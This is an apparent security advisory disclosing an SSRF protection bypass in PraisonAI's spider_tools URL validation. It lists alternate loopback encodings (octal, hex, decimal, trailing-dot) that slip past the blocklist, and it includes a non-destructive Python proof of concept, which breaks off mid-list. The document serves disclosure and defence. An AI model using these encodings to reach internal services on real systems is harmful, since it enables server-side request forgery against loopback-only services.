PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings
Summary
PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.
The affected component is:
```text
praisonaiagents/tools/spider_tools.py
````
The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.
It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.
As a result, URLs such as the following bypass the protection and still reach loopback services:
```text
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/
```
After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.
This is a server-side request forgery protection bypass.
Details
The affected code is in:
```text
praisonaiagents/tools/spider_tools.py
```
The vulnerable flow is:
```text
attacker-controlled URL
-> spider_tools._validate_url(...)
-> weak exact-host blocklist check
-> validation passes for alternate loopback encodings
-> scrape_page(...)
-> requests.Session.get(attacker_url)
-> loopback service is reached
```
The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:
```text
localhost
127.0.0.1
```
However, equivalent loopback forms are not rejected before the request is made.
Confirmed bypass examples:
```text
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/
```
These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.
The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.
PoC
The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.
The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.
The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.
Full PoC
```python
#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""
from __future__ import annotations
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"
def verify_source() -> None:
expected = [
"def _validate_url",
"requests.Session",
".get(",
]
text = SPIDER_TOOLS.read_text(encoding="utf-8")
for needle in expected:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")
class LocalHandler(BaseHTTPRequestHandler):
hits: list[tuple[str, str | None]] = []
body = b"LOCAL-SPIDER-SSRF-SECRET"
def do_GET(self) -> None: # noqa: N802
self.__class__.hits.append((self.path, self.headers.get("Host")))
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, format: str, *args) -> None: # noqa: A003
return
def main() -> int:
if not SPIDER_TOOLS.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(AGENTS_ROOT))
# Import the real shipped implementation.
#
# Depending on the exact public API exposed by spider_tools.py,
# use the exported scrape function available in the local version.
# The important path is:
#
# _validate_url(url)
# -> requests.Session.get(url)
#
import praisonaiagents.tools.spider_tools as spider_tools
server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
candidates = [
"http://localhost.:8765/",
"http://127.1:8765/",
"http://0177.0.0.1:8765/",
"http://0x7f000001:8765/",
"http://21307
